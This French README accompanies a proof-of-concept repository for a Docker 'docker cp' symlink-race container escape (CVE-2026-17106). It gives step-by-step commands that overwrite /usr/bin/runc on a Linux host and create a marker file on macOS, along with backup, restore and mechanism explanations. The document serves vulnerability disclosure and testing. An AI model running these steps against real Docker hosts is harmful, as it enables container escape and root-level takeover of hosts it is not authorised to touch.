CopyEscape : Prendre le contrôle des hôtes Docker avec docker cp (CVE-2026-17106)

Ceci est le dépôt de preuve de concept pour l'article de blog CopyEscape : Prendre le contrôle des hôtes Docker avec docker cp — CVE-2026-17106.

CopyEscape permet à un conteneur malveillant en cours d'exécution de prendre de vitesse le producteur d'archives de Docker et de créer un flux tar incohérent. L'interface CLI Docker vulnérable peut ensuite suivre un lien symbolique implanté lors de l'extraction et écrire en dehors de la destination locale sélectionnée par l'utilisateur exécutant docker cp.

Le dépôt contient deux démonstrations :

• macos/ contient une démonstration non destructive de Docker Desktop qui crée ~/pwnd sur l'hôte macOS.
• linux/ contient la démonstration Linux originale à fort impact qui écrase /usr/bin/runc et crée /imperva_red_team lorsque le runtime remplacé est exécuté.

[!WARNING] Exécutez ces PoC uniquement sur des systèmes que vous possédez ou que vous êtes explicitement autorisé à tester. Le PoC Linux remplace intentionnellement /usr/bin/runc ; utilisez une machine virtuelle jetable et effectuez une sauvegarde vérifiée avant de le déclencher.

Prérequis

• Une version vulnérable de Docker Engine ou de Docker Desktop.
• Un démon Docker en cours d'exécution.
• Un shell avec accès à l'interface CLI Docker.
• Des privilèges root pour la démonstration Linux /usr/bin/runc.

Les PoC ont été développés et testés avec Docker Engine/CLI 29.6.1 et Docker Desktop 4.81.0. Les versions corrigées devraient rejeter l'archive malveillante ou terminer la copie sans écrire en dehors de la destination sélectionnée.

PoC macOS : création de ~/pwnd

Cette démonstration cible le répertoire personnel de l'utilisateur exécutant l'interface CLI Docker. Elle refuse de continuer si ~/pwnd ou la destination locale file.txt existe déjà.

Exécutez :

cd macos
./demo-macos.sh

Le script construit l'image, démarre le conteneur préparé, confirme que /watched/file.txt semble être un fichier normal à l'intérieur, puis déclenche :

docker cp <demo-container>:/watched/file.txt ./file.txt

Sur une version vulnérable de Docker Desktop, la copie crée :

~/pwnd

avec le contenu suivant :

COPYESCAPE_MACOS_DEMO

Nettoyage :

rm -- ~/pwnd
rm -rf -- ./file.txt
docker image rm copyescape-macos-demo:local

PoC Linux : écrasement de /usr/bin/runc

[!CAUTION] Cette démonstration rend temporairement le runtime de l'hôte Docker inutilisable et exécute un remplacement contrôlé par l'attaquant en tant que root. Utilisez une machine virtuelle jetable. Une fois docker cp terminé, restaurez runc avant d'exécuter une autre commande Docker.

Ouvrez un shell root et entrez dans le répertoire du PoC Linux :

sudo -s
cd linux

Créez et vérifiez une sauvegarde avant de commencer le test :

test ! -e /root/runc.copyescape-backup
cp --preserve=all -- /usr/bin/runc /root/runc.copyescape-backup
cmp -s /usr/bin/runc /root/runc.copyescape-backup
sha256sum /usr/bin/runc /root/runc.copyescape-backup

Construisez l'image :

docker build -t copyescape-linux .

Démarrez le conteneur préparé dans le premier terminal :

docker run --name copyescape-linux copyescape-linux

Dans un second terminal root, confirmez que le chemin préparé ressemble à un fichier ordinaire pour un processus à l'intérieur du conteneur :

docker exec copyescape-linux cat /watched/file.txt

Sortie attendue :

top-level file

Déclenchez la vulnérabilité :

docker cp copyescape-linux:/watched/file.txt ./file.txt

Sur une version vulnérable de Docker, /usr/bin/runc contient désormais le script shell du PoC. L'exécution du runtime remplacé crée le marqueur appartenant à root :

sed -n '1,3p' /usr/bin/runc
ls -l /imperva_red_team

Restaurez immédiatement le runtime d'origine, avant d'exécuter une autre commande Docker :

cp --preserve=all -- /root/runc.copyescape-backup /usr/bin/.runc.copyescape-restore
sync /usr/bin/.runc.copyescape-restore
mv -f -- /usr/bin/.runc.copyescape-restore /usr/bin/runc
cmp -s /usr/bin/runc /root/runc.copyescape-backup
/usr/bin/runc --version

Une fois runc restauré et vérifié, supprimez les artefacts de test restants :

docker rm -f copyescape-linux 2>/dev/null || true
docker image rm copyescape-linux
rm -rf -- ./file.txt
rm -f -- /imperva_red_team

Fonctionnement des démonstrations

Les deux PoC exposent /watched/file.txt comme un fichier normal pour les processus exécutés dans le conteneur, tandis que le démon Docker voit un répertoire sous-jacent. Au cours du parcours du système de fichiers effectué par Docker, le moniteur remplace un répertoire par un lien symbolique absolu préparé. Le flux tar résultant contient le lien symbolique suivi d'une entrée enfant située en dessous. Une interface CLI Docker vulnérable crée le lien symbolique puis extrait l'enfant à travers celui-ci sur le système de fichiers du client.

L'écriture finale porte les permissions du processus exécutant docker cp.